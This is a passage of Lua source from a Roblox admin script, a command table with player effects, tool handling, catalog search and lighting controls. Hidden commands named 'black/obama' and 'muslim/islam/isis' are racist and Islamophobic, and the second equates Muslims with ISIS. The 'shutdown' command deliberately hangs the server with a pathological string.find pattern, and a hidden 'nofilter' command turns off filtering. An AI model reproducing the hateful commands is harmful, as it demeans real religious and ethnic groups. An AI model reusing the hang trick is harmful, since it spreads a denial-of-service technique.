7032 end)
7033 end
7034
7035 GUI:ListGui(Speaker, "Tool list", List, 73589272)
7036 end};
7037
7038 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
7039 local Players = STRING:Scan(Arguments[1], Speaker)
7040 for _,Player in pairs(Players) do
7041 CORE:GiveTools(Player, "btools")
7042 end
7043 end};
7044
7045 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
7046 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
7047 for _,Player in pairs(Server.Players:GetPlayers()) do
7048 Player:Kick()
7049 end
7050 Server.Workspace:ClearAllChildren()
7051 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
7052 end};
7053
7054 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
7055 local Players = STRING:Scan(Arguments[1], Speaker)
7056 for _,Player in pairs(Players) do
7057 CORE:Scale(Player, Arguments[2])
7058 end
7059 end};
7060
7061 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
7062 local Players = STRING:Scan(Arguments[1], Speaker)
7063 for _,Player in pairs(Players) do
7064 CORE:Scale(Player, 50)
7065 end
7066 end};
7067
7068 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
7069 local Players = STRING:Scan(Arguments[1], Speaker)
7070 for _,Player in pairs(Players) do
7071 CORE:Scale(Player, 70)
7072 end
7073 end, Hidden = true};
7074
7075 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
7076 local Players = STRING:Scan(Arguments[1], Speaker)
7077 for _,Player in pairs(Players) do
7078 CORE:Scale(Player, 500)
7079 end
7080 end};
7081
7082 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
7083 local Players = STRING:Scan(Arguments[1], Speaker)
7084 for _,Player in pairs(Players) do
7085 if Player.Character then
7086 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7087 Obj.Reflectance = 0.5
7088 Obj.BrickColor = BrickColor.new("New Yeller")
7089 end)
7090 end
7091 end
7092 end};
7093
7094 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
7095 local Players = STRING:Scan(Arguments[1], Speaker)
7096 for _,Player in pairs(Players) do
7097 if Player.Character then
7098 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7099 Obj.Reflectance = 0.5
7100 end)
7101 end
7102 end
7103 end};
7104
7105 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
7106 local Players = STRING:Scan(Arguments[1], Speaker)
7107 for _,Player in pairs(Players) do
7108 if Player.Character then
7109 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7110 Obj.Transparency = 0.5
7111 Obj.Reflectance = 0
7112 Obj.BrickColor = BrickColor.new("Institutional white")
7113 end)
7114 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
7115 Obj.Transparency = 0.5
7116 end)
7117 end
7118 end
7119 end};
7120
7121 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7122 local Players = STRING:Scan(Arguments[1], Speaker)
7123 for _,Player in pairs(Players) do
7124 if Player.Character then
7125 for _,Obj in pairs(Player.Character:GetChildren()) do
7126 local Valid = false
7127 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7128 if Valid == true then Obj:Destroy() end
7129 end
7130 end
7131 end
7132 end};
7133
7134 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7135 local Players = STRING:Scan(Arguments[1], Speaker)
7136 for _,Player in pairs(Players) do
7137 if Player.Character then
7138 for _,Obj in pairs(Player.Character:GetChildren()) do
7139 local Valid = false
7140 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7141 if Valid == true then Obj:Destroy() end
7142 end
7143 end
7144 end
7145 end};
7146
7147 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7148 local Players = STRING:Scan(Arguments[1], Speaker)
7149 for _,Player in pairs(Players) do
7150 if Player.Character then
7151 for _,Obj in pairs(Player.Character:GetChildren()) do
7152 local Valid = false
7153 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7154 if Valid == true then Obj:Destroy() end
7155 end
7156 end
7157 end
7158 end};
7159
7160 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7161 local Players = STRING:Scan(Arguments[1], Speaker)
7162 for _,Player in pairs(Players) do
7163 if Player.Character then
7164 for _,Obj in pairs(Player.Character:GetChildren()) do
7165 if Obj:IsA("Accoutrement") then
7166 Obj:Destroy()
7167 end
7168 end
7169 end
7170 end
7171 end};
7172
7173 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7174 local Players = STRING:Scan(Arguments[1], Speaker)
7175 for _,Player in pairs(Players) do
7176 Player:ClearCharacterAppearance()
7177 end
7178 end};
7179
7180 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7181 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7182 local TmpPlayers = {}
7183 local Output = {}
7184 for _,Data in pairs(Players) do
7185 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7186 end
7187 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7188 end};
7189
7190 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7191 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7192 GUI:SendHint(Speaker, "Player Database cleared", 5)
7193 end};
7194
7195 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7196 local Players = STRING:Scan(Arguments[1], Speaker)
7197 for _,Player in pairs(Players) do
7198 GUI:FakeHack(Player)
7199 end
7200 end};
7201
7202 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7203 local Players = STRING:Scan(Arguments[1], Speaker)
7204 for _,Player in pairs(Players) do
7205 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7206 for _,Object in pairs(Player.Backpack:GetChildren()) do
7207 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7208 local Clone = Object:Clone()
7209 Clone.Parent = Speaker.Backpack
7210 end
7211 end
7212 end
7213 end
7214 end};
7215
7216 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7217 local Players = STRING:Scan(Arguments[1], Speaker)
7218 for _,Player in pairs(Players) do
7219 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7220 for _,Object in pairs(Player.Backpack:GetChildren()) do
7221 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7222 Object.Parent = Speaker.Backpack
7223 end
7224 end
7225 end
7226 end
7227 end};
7228
7229 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7230 local Players = STRING:Scan(Arguments[1], Speaker)
7231 for _,Player in pairs(Players) do
7232 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7233 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7234 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7235 local Clone = Object:Clone()
7236 Clone.Parent = Player.Backpack
7237 end
7238 end
7239 end
7240 end
7241 end};
7242
7243 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7244 local Players = STRING:Scan(Arguments[1], Speaker)
7245 for _,Player in pairs(Players) do
7246 if Player:FindFirstChild("Backpack") then
7247 Player.Backpack:ClearAllChildren()
7248 end
7249 if Player.Character ~= nil then
7250 for _,Obj in pairs(Player.Character:GetChildren()) do
7251 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7252 Obj:Destroy()
7253 end
7254 end
7255 end
7256 end
7257 end};
7258
7259 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7260 local Players = STRING:Scan(Arguments[1], Speaker)
7261 for _,Player in pairs(Players) do
7262 if Player.Character then
7263 if Player.Character:FindFirstChild("Head") then
7264 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7265 coroutine.wrap(function()
7266 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7267 local OldFace = Player.Character.Head.face.Texture
7268 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7269 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7270 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7271 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7272 Sound:Play()
7273 coroutine.wrap(function() for i = 1,100 do wait()
7274 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7275 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7276 end
7277 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7278 end end
7279 end)()
7280 end
7281 end
7282 end
7283 end
7284 end};
7285
7286 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7287 local Players = STRING:Scan(Arguments[1], Speaker)
7288 for _,Player in pairs(Players) do
7289 if Player.Character then
7290 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7291 coroutine.wrap(function()
7292 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7293 local OldFace = Player.Character.Head.face.Texture
7294 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7295 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7296 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7297 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7298 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7299 Sound:Play()
7300 wait(1)
7301 Smoke.Enabled = false
7302 wait(1)
7303 Fart:Destroy()
7304 Fart:Destroy()
7305 Player.Character.Head.face.Texture = OldFace
7306 end end
7307 end)()
7308 end
7309 end
7310 end
7311 end};
7312
7313 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7314 local Players = STRING:Scan(Arguments[1], Speaker)
7315 for _,Player in pairs(Players) do
7316 if Player:FindFirstChild("Backpack") then
7317 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7318 end
7319 end
7320 end};
7321
7322 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7323 local Players = STRING:Scan(Arguments[1], Speaker)
7324 for _,Player in pairs(Players) do
7325 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7326 Player.Character.MMLGraffiti:ClearAllChildren()
7327 end
7328 end
7329 end};
7330
7331 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7332 local Players = STRING:Scan(Arguments[1], Speaker)
7333 for _,Player in pairs(Players) do
7334 if Player.Character and Player.Character:FindFirstChild("Torso") then
7335 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7336 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7337 end
7338 end
7339 end};
7340
7341 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7342 local Players = STRING:Scan(Arguments[1], Speaker)
7343 for _,Player in pairs(Players) do
7344 if Player.Character and Player.Character:FindFirstChild("Torso") then
7345 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7346 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7347 end
7348 end
7349 end};
7350
7351 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7352 local Players = STRING:Scan(Arguments[1], Speaker)
7353 for _,Player in pairs(Players) do
7354 if Player.Character and Player.Character:FindFirstChild("Torso") then
7355 local Lights = {}
7356 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7357 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7358 table.insert(Lights, Obj)
7359 end
7360 end
7361 for _,Light in pairs(Lights) do
7362 coroutine.wrap(function()
7363 for i = 1,20 do
7364 Light.Brightness = Light.Brightness/5
7365 wait()
7366 end
7367 Light:Destroy()
7368 end)()
7369 end
7370 end
7371 end
7372 end};
7373
7374 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7375 local Players = STRING:Scan(Arguments[1], Speaker)
7376 for _,Player in pairs(Players) do
7377 if Player.Character and Player:FindFirstChild("PlayerGui") then
7378 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7379 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7380 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7381 local Stop = false
7382 coroutine.wrap(function()
7383 repeat
7384 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7385 wait(0.1)
7386 until not SG or not SG.Parent
7387 end)()
7388 CORE:ExecuteResource("Drug", Player.Character)
7389 end
7390 end
7391 end};
7392
7393 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7394 local Players = STRING:Scan(Arguments[1], Speaker)
7395 for _,Player in pairs(Players) do
7396 if Player:FindFirstChild("PlayerGui") then
7397 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7398 wait() CORE:RestoreCamera(Player)
7399 end
7400 end
7401 end};
7402
7403 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7404 local AbuseMode = false
7405 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7406 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7407 if Speaker:FindFirstChild("Backpack") then
7408 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7409 end
7410 end)
7411 end, Http = true};
7412
7413 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7414 local Type = "all"
7415 local Query = string.lower(Arguments[1])
7416 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7417 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7418 Type = Arguments[1]
7419 Query = Arguments[2]
7420 end
7421 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7422 if Speaker.Character then
7423 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7424 end
7425 end, MARKET:AccessoryToSubcategory(Type))
7426 end, Http = true};
7427
7428 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7429 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7430 if Speaker.Character then
7431 CORE:GivePackage(Speaker, ID)
7432 end
7433 end, 11)
7434 end, Http = false};
7435
7436 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7437 local Players = STRING:Scan(Arguments[1], Speaker)
7438 for _,Player in pairs(Players) do
7439 CORE:GivePackage(Player)
7440 end
7441 end};
7442
7443 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7444 local Players = STRING:Scan(Arguments[1], Speaker)
7445 for _,Player in pairs(Players) do
7446 CORE:GivePackage(Player, Arguments[2])
7447 end
7448 end, Http = false};
7449
7450 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7451 local Players = STRING:Scan(Arguments[1], Speaker)
7452 for _,Player in pairs(Players) do
7453 local Stats = Player:FindFirstChild("leaderstats")
7454 if Stats ~= nil then
7455 for _,Stat in pairs(Stats:GetChildren()) do
7456 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7457 ypcall(function() Stat.Value = Arguments[3] end)
7458 end
7459 end
7460 end
7461 end
7462 end};
7463
7464 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7465 local ID = tonumber(Arguments[2])
7466 local Players = STRING:Scan(Arguments[1], Speaker)
7467 for _,Player in pairs(Players) do
7468 for _,Player in pairs(Players) do
7469 if Player.Character ~= nil then
7470 local Obj = Player.Character:FindFirstChild("Shirt")
7471 if Obj then
7472 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7473 else
7474 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7475 end
7476 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7477 end
7478 end
7479 end
7480 end};
7481
7482 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7483 local ID = tonumber(Arguments[2])
7484 local Players = STRING:Scan(Arguments[1], Speaker)
7485 for _,Player in pairs(Players) do
7486 for _,Player in pairs(Players) do
7487 if Player.Character ~= nil then
7488 local Obj = Player.Character:FindFirstChild("Pants")
7489 if Obj then
7490 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7491 else
7492 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7493 end
7494 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7495 end
7496 end
7497 end
7498 end};
7499
7500 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7501 local ID = tonumber(Arguments[2])
7502 local Players = STRING:Scan(Arguments[1], Speaker)
7503 for _,Player in pairs(Players) do
7504 for _,Player in pairs(Players) do
7505 if Player.Character ~= nil then
7506 if Player.Character:FindFirstChild("Torso") then
7507 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7508 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7509 if Obj1 then
7510 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7511 else
7512 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7513 end
7514 if Obj2 then
7515 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7516 else
7517 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7518 end
7519 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7520 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7521 end
7522 end
7523 end
7524 end
7525 end};
7526
7527 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7528 local Players = STRING:Scan(Arguments[1], Speaker)
7529 for _,Player in pairs(Players) do
7530 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7531 end
7532 end};
7533
7534 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7535 if CORE:InAdminGroup(Speaker) then
7536 local Players = STRING:Scan(Arguments[1], Speaker)
7537 for _,Player in pairs(Players) do
7538 if Player:FindFirstChild("Backpack") then
7539 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7540 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7541 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7542 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7543 CORE:ExecuteResource("CookieTool", Tool)
7544 end
7545 end
7546 end
7547 end};
7548
7549 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7550 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7551 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7552 end
7553 end};
7554
7555 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7556 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7557 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7558 Model:MakeJoints()
7559 for i = 1,math.random(10,20) do
7560 Model.Name = Model.Name..string.char(math.random(97,122))
7561 end
7562 if Model:GetChildren()[1] then
7563 table.insert(Objects, Model)
7564 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7565 end
7566 end
7567 end};
7568
7569 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7570 local ID = tonumber(Arguments[2])
7571 local Players = STRING:Scan(Arguments[1], Speaker)
7572 for _,Player in pairs(Players) do
7573 if Player.Character then
7574 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7575 end
7576 end
7577 end};
7578
7579 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7580 local Players = STRING:Scan(Arguments[1], Speaker)
7581 for _,Player in pairs(Players) do
7582 if Player.Character then
7583 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7584 if StopAnim then StopAnim:Destroy() end
7585 end
7586 end
7587 end};
7588
7589 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7590 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7591 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7592 end
7593 end};
7594
7595 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7596 if tonumber(Arguments[1]) then
7597 Server.Lighting.Brightness = tonumber(Arguments[1])
7598 end
7599 end};
7600
7601 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7602 local Players = STRING:Scan(Arguments[1], Speaker)
7603 for _,Player in pairs(Players) do
7604 GUI:CoreGui(Player, "PlayerList", true)
7605 end
7606 end};
7607
7608 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7609 local Players = STRING:Scan(Arguments[1], Speaker)
7610 for _,Player in pairs(Players) do
7611 local Players = STRING:Scan(Arguments[1], Speaker)
7612 GUI:CoreGui(Player, "PlayerList", false)
7613 end
7614 end};
7615
7616 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7617 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7618 end, Hidden = true};
7619
7620 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7621 local Players = STRING:Scan(Arguments[1], Speaker)
7622 for _,Player in pairs(Players) do
7623 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7624 end
7625 end, Hidden = true};
7626
7627 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7628 local Players = STRING:Scan(Arguments[1], Speaker)
7629 for _,Player in pairs(Players) do
7630 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7631 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7632 Player:ClearCharacterAppearance()
7633 CORE:Insert(12436480, Player.Character, true)
7634 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7635 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7636 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7637 end
7638 end
7639 end, Hidden = true};
7640
7641 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7642 local Players = STRING:Scan(Arguments[1], Speaker)
7643 for _,Player in pairs(Players) do
7644 CORE:ChangeCharacter(Player, 0, false, Speaker)
7645 end
7646 end};
7647
7648 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7649 ShouldFilter = false
7650 end, Hidden = true};
7651
7652 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7653 local Bet = Arguments[1]
7654 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7655 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7656 elseif #Bet > 5 then
7657 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7658 else
7659 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7660 if Answer == "Yes" then
7661 local OldBet = Settings.Bet
7662 CORE:ChangeBet(Bet)
